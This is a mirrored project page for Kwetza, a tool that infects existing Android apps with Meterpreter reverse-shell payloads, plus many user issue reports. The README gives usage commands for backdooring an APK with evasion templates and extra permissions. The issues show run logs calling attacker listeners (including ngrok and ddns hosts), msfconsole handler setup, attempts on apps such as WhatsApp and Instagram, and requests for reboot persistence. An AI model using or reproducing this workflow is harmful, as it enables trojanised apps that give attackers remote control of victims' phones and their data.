Giter VIP home page Giter VIP logo

kwetza's Introduction

Introduction

Arsenal

By Chris Le Roy (@brompwnie) [email protected]

Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload.

What does it do?

Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application's default permissions or inject additional permissions to gain additional functionality.

Where can I get the blogpost?

The manual steps automated by Kwetza can be found here: https://sensepost.com/blog/2016/kwetza-infecting-android-applications/

Getting the code

Firstly get the code:

git clone https://github.com/sensepost/kwetza.git

Kwetza is written in Python and requires BeautifulSoup which can be installed using Pip:

pip install beautifulsoup4

Kwetza requires Apktool to be install and accessible via your PATH. This can be setup using the install instructions located here: https://ibotpeaches.github.io/Apktool/install

Usage

python kwetza.py nameOfTheApkToInfect.apk https/tcp LHOST LPORT yes/no customClass

  • nameOfTheApkToInfect.apk = name of the APK you wish to infect.
  • https/tcp = select either a HTTPS or TCP connection
  • LHOST = IP of your listener.
  • LPORT = Port of your listener.
  • yes = include "yes" to inject additional evil perms into the app, "no" to utilize the default permissions of the app.
  • customClass = Specify a custom activity here if you want Kwetza to inject into this activity.
python kwetza.py hackme.apk https 10.42.0.118 4444 yes com.moo.another.activity
[+] MMMMMM KWETZA
[*] DECOMPILING TARGET APK
[+] ENDPOINT IP: 10.42.0.118
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[*] BYTING COMMS...
[*] ANALYZING ANDROID MANIFEST...
[+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity
[*] INJECTION INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[*] INJECTION OF CRAZY PERMS TO BE DONE!
[+] TIME TO BUILD INFECTED APK
[*] EXECUTING APKTOOL BUILD COMMAND
[+] BUILD RESULT
############################################
I: Using APktool 2.2.0
I: Checking whether source shas changed...
I: Smaling smali folder into classes.dex
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs ...(/lib)
I: Building apk file...
I: Copying unknown files/dir...
###########################################
[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: password
[+] JARSIGNER RESULT
###########################################
jar signed.

###########################################

[+] L00t located at hackme/dist/hackme.apk

Information

Kwetza has been developed to work with Python 2.

Kwetza by default will use the template and keystore located in the folder "payload" to inject and sign the infected apk.

If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the "payload" folder and rename to the existing keystore or change the reference in the kwetza.py.

The same can be done for payload templates.

The password for the default keystore is, well, "password".

License

Kwetza is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).

Permissions beyond the scope of this license may be available at http://sensepost.com/contact

kwetza's People

Contributors

brompwnie avatar junaidloonat avatar mubix avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

kwetza's Issues

!!! ERROR IN 'parseAndroidManifext' method

The manifest file cant be found.

python kwetza.py Hide\ Photos\ \ Videos\ Vault\ Pro\ v1.0.0\ KatCore.apk 192.168.1.11 4444 yes

[+] MMMMMMMM KWETZA
[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 192.168.1.11
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING COMMS...
[*] ANALYZING ANDROID MANIFEST
!!! ERROR IN 'parseAndroidManifext' method
[Errno 2] No such file or directory: '/root/Desktop/Android_Hack/kwetza/Hide Photos Videos Vault Pro v1/AndroidManifest.xml'

help

└─# python2 kwetza.py appım.apk TCP 5.tcp.eu.ngrok.io 11731 yes
_ _ ___ ___
| | | | |__ \ / _ \
_ __ ___ _ __ ___ _ __ ___ _ __ ___ | | ____ | | ______ _ ) || | | |
| '
_ \| '_ _ | '
_ \| '_ _ \ | |/ /\ \ /\ / / _ \ | / ` | / / | | | |
| | | | | | | | | | | | | | | | | | | | | | < \ V V / _/ | / / (
| | / /
| || |
|
| || ||| || ||| || ||| || || ||_\ _/_/ _
|_/_,| |()/

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 5.tcp.eu.ngrok.io
[+] ENDPOINT PORT: 11731
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
!!! ERROR IN 'parseAndroidManifest' method
Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?

ERROR IN 'readPayloads' method

ERROR IN 'readPayloads' method
[Errno 2] No such file or directory: '/root/kwetza/VideoPlayer/smali//gui/AssistActivity1.smali'

Persistence

Final output apk file persistence or not?

ERROR IN 'initialize' method

[*] DECOMPILING TARGET APK
!!!! ERROR IN 'initialize' method
[Errno 2] No such file or directory
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[+] JARSIGNER RESULT unable to open jar file: /opt/kwetza/app/dist/name.apk

after the [*] EXECUTING APKTOOL BUILD COMMAND... i got the following error

Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/text/StringEscapeUtils
at brut.androlib.meta.YamlStringEscapeUtils.unescapeString(YamlStringEscapeUtils.java:141)
at brut.androlib.meta.ClassSafeConstructor$ConstructStringEx.construct(ClassSafeConstructor.java:58)
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:452)
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:403)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
at org.yaml.snakeyaml.constructor.SafeConstructor.processDuplicateKeys(SafeConstructor.java:108)
at org.yaml.snakeyaml.constructor.SafeConstructor.flattenMapping(SafeConstructor.java:81)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:252)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:207)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:358)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:207)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:191)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:477)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:470)
at brut.androlib.meta.MetaInfo.load(MetaInfo.java:70)
at brut.androlib.Androlib.readMetaFile(Androlib.java:280)
at brut.androlib.Androlib.build(Androlib.java:294)
at brut.androlib.Androlib.build(Androlib.java:287)
at brut.apktool.Main.cmdBuild(Main.java:263)
at brut.apktool.Main.main(Main.java:82)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.text.StringEscapeUtils
at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520)
... 23 more

and then after [+] JARSIGNER RESULT
[+] JARSIGNER RESULT
#####################################
jarsigner: unable to open jar file: /opt/kwetza/app/dist/app.apk

#####################################

[+] L00t located at /opt/kwetza/app/dist/app.apk

image

!!!! ERROR IN 'initialize' method

root@kali:~/kwetza# python kwetza.py note.apk tcp semo201564.ddns.net 443 yes
_ _ ___ ___
| | | | |__ \ / _ \
_ __ ___ _ __ ___ _ __ ___ _ __ ___ | | ____ | | ______ _ ) || | | |
| '
_ \| '_ _ | '
_ \| '_ _ \ | |/ /\ \ /\ / / _ \ | / ` | / / | | | |
| | | | | | | | | | | | | | | | | | | | | | < \ V V / _/ | / / (
| | / /
| || |
|
| || ||| || ||| || ||| || || ||_\ _/_/ _
|_/_,| |()/

[*] DECOMPILING TARGET APK
!!!! ERROR IN 'initialize' method
[Errno 2] No such file or directory
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
root@kali:~/kwetza#

ERROR IN 'parseAndroidManifest' method

Hi,

I'm using Python 2.7.16

and getting below error with python kwetza.py test.apk TCP 192.168.1.102 4444 yes
_ _ ___ ___
| | | | |__ \ / _ \
_ __ ___ _ __ ___ _ __ ___ _ __ ___ | | ____ | | ______ _ ) || | | |
| '
_ \| '_ _ | '
_ \| '_ _ \ | |/ /\ \ /\ / / _ \ | / ` | / / | | | |
| | | | | | | | | | | | | | | | | | | | | | < \ V V / _/ | / / (
| | / /
| || |
|
| || ||| || ||| || ||| || || ||_\ _/_/ _
|_/_,| |()/

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 192.168.1.102
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
!!! ERROR IN 'parseAndroidManifest' method
Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

AttributeError: 'module' object has no attribute '_base'

Error when I ran on python 2.7.13

Traceback (most recent call last):
File "kwetza.py", line 5, in
from bs4 import BeautifulSoup as Soup
File "/usr/local/lib/python2.7/dist-packages/bs4/init.py", line 30, in
from .builder import builder_registry, ParserRejectedMarkup
File "/usr/local/lib/python2.7/dist-packages/bs4/builder/init.py", line 314, in
from . import _html5lib
File "/usr/local/lib/python2.7/dist-packages/bs4/builder/_html5lib.py", line 70, in
class TreeBuilderForHtml5lib(html5lib.treebuilders._base.TreeBuilder):
AttributeError: 'module' object has no attribute '_base'

Question

With a few tweak to my system and the kwetza script I was able to get this to decompile, modify, and recompile an apk successfully.

My question is, does this do something different that the msfvenom module that exists in Metasploit Framework? I'm not trying to be a dick, I just legitimately want to know if there is a benefit of one tool over the other?

My bigger interest, rather than hijacking an existing activity in the APK, would be to create a secondary, more hidden activity that could then be called in a transparent way by a persistence script.

help

python kwetza.py MX.apk TCP 192.168.43.247 4444 yes
File "/root/Desktop/kwetza/kwetza.py", line 17
print "[] BYTING TCP COMMS"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("[
] BYTING TCP COMMS")?

Error Issue.

After attempting to run the script it outputs this error

!!! ERROR IN 'parseAndroidManifest' method
[Errno 2] No such file or directory: '/home/userame/kwetza/net/AndroidManifest.xml'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

I'm running latest ubuntu os.

It originally outputted:
!!! ERROR IN 'readPayloads' method
[Errno 2] No such file or directory: '/home/ghost/kwetza/utsername/ghost/Desktop/net/smali/HttpsActivity1.smali'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

I made the directory the script outputted but afterwards

Keystore was tampered with, or password was incorrect

getting this error. do i have to set a passphrase? did not ask me

[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: new
[+] JARSIGNER RESULT
#####################################
jarsigner error: java.lang.RuntimeException: keystore load: Keystore was tampered with, or password was incorrect

kwetza-master Error

Hi guys
how solve this problem(kwetza-master)..pls help friends.

[*] DECOMPILING TARGET APK
[+] ENDPOINT IP: on
[+] ENDPOINT PORT: pictures_v1.9.2_apkpure.com.apk
Input file (/root/Desktop/kwetza-master/PixelLab) was not found or was not readable.
[+] APKTOOL DECOMPILED SUCCESS
!!!! ERROR IN 'initialize' method
substring not found
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Error issue.

I attempted to run this script and afterwards it outputted this error:

!!! ERROR IN 'readPayloads' method
[Errno 2] No such file or directory: '/home/username/kwetza/net/smali/AssistActivity1.smali'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

I made the directory outputted in the error above only to receive this error:

!!! ERROR IN 'parseAndroidManifest' method
[Errno 2] No such file or directory: '/home/username/kwetza/net/AndroidManifest.xml'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Please help, I would love to test this script, Thank you!

No Error but not happening!

I use this usage:
python kwetza.py myapk.apk tcp 192.168.1.13 4444 yes AssistActivity and then kwetza work and generate an apk in dist folder.
after that i create a meterpereter in msfconsole :
use multi/handler
set payload android/meterpereter/reverse_tcp
set LHOST 192.168.1.13
set LPORT 4444
run

i install that apk in my android phone and not happening in msfconsole and meterpereter session not opened!
Exactly like this video : https://www.youtube.com/watch?v=yw-nQpVU6Zk and not happening after install apk

App unfortunately close after a few seconds and the session automatically closed

Steps:
1- I created the evil apk using a googleFiper app.
2- I set the msfconsol in the listening mood
3- I installed the app in my phone
4- I ran it

Actual result
App unfortunately close after a few seconds and the session automatically closed.

Expected
App must continue working correctly and keep the session open.

!!!! ERROR IN 'initialize' method

[*] DECOMPILING TARGET APK
!!!! ERROR IN 'initialize' method
[Errno 2] No such file or directory
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS

The previous version was working fine with this apk but now i am having trouble, also i am not being able to backdoor instagam i know insta has a private api but still any suggestions.

[+] APKTOOL DECOMPILED SUCCESS
[] BYTING TCP COMMS
[
] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS

apk file is not generated

[+] MMMMMMMM KWETZA
[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 11X.XX.XX.XX
[+] ENDPOINT PORT: 323
Destination directory (/root/Downloads/kwetza-master/sw) already exists. Use -f switch if you want to overwrite it.
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING COMMS...
[] ANALYZING ANDROID MANIFEST
[+] TARGET ACTIVIY: com.james.status.activities.SplashActivity
[
] INJECTING INTO APK...
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[] INJECTION OF CRAZY PERMISSIONS TO BE DONE!
[+] TIME TO BUILD INFECTED APK...
[
] EXECUTING APKTOOL BUILD COMMAND...
W: /root/Downloads/kwetza-master/sw/res/values-v24/styles.xml:7: error: Error retrieving parent for item: No resource found that matches the given name '@android:style/Animation.OptionsPanel'.
W:
W: /root/Downloads/kwetza-master/sw/res/values-v24/styles.xml:8: error: Error retrieving parent for item: No resource found that matches the given name '@android:style/Animation.LockScreen'.
W:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_4550594108641908121.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 25, --version-code, 30, --version-name, 3.2, --no-version-vectors, -F, /tmp/APKTOOL4787348994072919752.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/Downloads/kwetza-master/sw/res, -M, /root/Downloads/kwetza-master/sw/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:477)
at brut.androlib.Androlib.buildResources(Androlib.java:411)
at brut.androlib.Androlib.build(Androlib.java:310)
at brut.androlib.Androlib.build(Androlib.java:263)
at brut.apktool.Main.cmdBuild(Main.java:227)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_4550594108641908121.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 25, --version-code, 30, --version-name, 3.2, --no-version-vectors, -F, /tmp/APKTOOL4787348994072919752.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/Downloads/kwetza-master/sw/res, -M, /root/Downloads/kwetza-master/sw/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:440)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:463)
... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_4550594108641908121.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 25, --version-code, 30, --version-name, 3.2, --no-version-vectors, -F, /tmp/APKTOOL4787348994072919752.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/Downloads/kwetza-master/sw/res, -M, /root/Downloads/kwetza-master/sw/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:95)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:434)
... 6 more
[+] BUILD RESULT
#####################################
I: Using Apktool 2.2.2
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...

#####################################
[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: password
[+] JARSIGNER RESULT
#####################################
jarsigner: unable to open jar file: /root/Downloads/kwetza-master/sw/dist/sw.apk

#####################################

[+] L00t located at /root/Downloads/kwetza-master/sw/dist/sw.apk

This are the logs created
no sw.apk file was created
apktool used : 2.2.2

issue

──(root💀kali)-[~/Desktop/kwetza]
└─# python kwetza.py MX.apk TCP 192.168.43.247 4444 yes
File "/root/Desktop/kwetza/kwetza.py", line 17
print "[] BYTING TCP COMMS"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("[
] BYTING TCP COMMS")?

soupsieve

/usr/local/lib/python2.7/dist-packages/bs4/element.py:16: UserWarning: The soupsieve package is not installed. CSS selectors cannot be used.
'The soupsieve package is not installed. CSS selectors cannot be used.'

[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS

                                       _                  _              ___    ___  
                                      | |                | |            |__ \  / _ \ 

_ __ ___ _ __ ___ _ __ ___ _ __ ___ | | ____ | | ______ _ ) || | | |
| '
_ \| '_ _ | '
_ \| '_ _ \ | |/ /\ \ /\ / / _ \ | / ` | / / | | | |
| | | | | | | | | | | | | | | | | | | | | | < \ V V / _/ | / / (
| | / /
| || |
|
| || ||| || ||| || ||| || || ||_\ _/_/ _
|_/_,| |()/

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 192.168.0.104
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS
please help me

Endpoint IP and PORT.

So, after typing "python kwetza.py APK.apk 192.168.XXX.XXX 4444 yes", which I assume is the correct way to type it, I get the PORT as the endpoint IP and yes as the endport PORT. I haven't got around to actually try if it still works, but it's rather annoying. Bug or what?

DECOMPILING TARGET APK
[+] ENDPOINT IP: 4444 <----- Should be my IP
[+] ENDPOINT PORT: yes <----- Should be my PORT
[+] APKTOOL DECOMPILED SUCCESS
[] BYTING TCP COMMS
[
] ANALYZING ANDROID MANIFEST
[+] TARGET ACTIVIY: com.whatsapp.Main
[] PREPARING PAYLOADS
[
] INJECTING INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[] INJECTION OF CRAZY PERMISSIONS TO BE DONE!
[+] TIME TO BUILD INFECTED APK...
[
] EXECUTING APKTOOL BUILD COMMAND...
[+] BUILD RESULT

help

[] DECOMPILING TARGET APK
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] ENDPOINT IP: 192.168.1.107
[+] ENDPOINT PORT: 4343
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
!!! ERROR IN 'parseAndroidManifest' method
Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Error in 'readpayloads' method.

[Errno 2] No such file or directory: '/root/kwetza/dating/DispatchActivity.smali'

getting this error. how to sort this out?

ERROR IN 'buildAgain' method

I am using the lastest version of kwetza on Fedora 23. When execute python kwetza.py qqlite.apk 192.168.1.103 443 yes, it ends with an error:

......
[+] BUILD RESULT
#####################################
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...

#####################################
[*] EXECUTING JARSIGNER COMMAND...
!!! ERROR IN 'buildAgain' method
[Errno 2] No such file or directory

Please fix it.

error

[+] MMMMMMMM KWETZA
[*] DECOMPILING TARGET APK
!!!! ERROR IN 'initialize' method
list index out of range

Couldent find the tree builder with the features you requested

This is what I got.
[] DECOMPILING TARGET APK
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] ENDPOINT IP: 4444
[+] ENDPOINT PORT: yes
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
!!! ERROR IN 'parseAndroidManifest' method
Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ERROR jarsigner: unable to open jar file

I would like to thank you for your helpful tool.

I followed your instructure and I enter the following command:
python ./kwetza.py telegram.apk 192.168.1.2 80 no

But, I got the following error cos of jassigner unable to open jar file
screenshot from 2016-11-24 01-17-41


I will be pleasure if you can help to solve this error.

!!! ERROR IN 'buildAgain' method

[] DECOMPILING TARGET APK
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] ENDPOINT IP: 0.tcp.ngrok.io
[+] ENDPOINT PORT: *****
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[] ANALYZING ANDROID MANIFEST
[
] USING CUSTOM ACTIVITY: AssistActivity
[] PREPARING PAYLOADS
[
] INJECTING INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[] INJECTION OF CRAZY PERMISSIONS TO BE DONE!
[+] TIME TO BUILD INFECTED APK...
[
] EXECUTING APKTOOL BUILD COMMAND...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] BUILD RESULT
#####################################
I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Copying raw resources...
I: Copying libs... (/META-INF/services)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

#####################################
[*] EXECUTING JARSIGNER COMMAND...
!!! ERROR IN 'buildAgain' method
[Errno 2] No such file or directory
pit@debian:~/Documentos/kwetza$

the program has worked one time but in not working more
how to fix it ?

persistence after restart as msfvenom does

Hi, thx for your work. I tried to generate an infected apk and works (almost) perfect. I have a request, a pray, as you probably know the last version of "msfvenom -x" adds persistence. I mean, it generates a service and a receiver in AndroidManifest so when you restarts the infected device it launches a background service that generates a shell without the need to launch the infected apk. it is possible you can replicate this functionality? It would be so nice.
Thanks in advance for your time

ERROR !!!

Hi, there
Please advise on this Error..................

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: *** *** ** ***
[+] ENDPOINT PORT: 4467
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING HTTPS COMMS
[*] ANALYZING ANDROID MANIFEST
!!! ERROR IN 'parseAndroidManifest' method
[Errno 2] No such file or directory: '/root/Desktop/Tool/kwetza/com/AndroidManifest.xml'

I have saw this issue on and you advise this.......

This appears to be a bug in the script. To workaround this in the meantime, place your target APK in the same directory as Kwetza.py

## However its strange cuz this apk file is in same Folder

root@kali:~/Desktop/Tool/kwetza# ls
LICENSE README.md com.steam.photoeditor.apk kwetza.py payload

So please advise, appreciate your help.

## I have also small apk name ............... And got this!!

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 27.34.44.82
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[] ANALYZING ANDROID MANIFEST
[+] TARGET ACTIVIY: .asp
[
] PREPARING PAYLOADS
!!! ERROR IN 'readPayloads' method
[Errno 2] No such file or directory: '/root/Desktop/Tool/kwetza/patro/smali//asp.smali'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Working directory error..

I run the tool using the defined syntax...
But when the apk decompiles it stores the decompiled app into apktool folder ...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.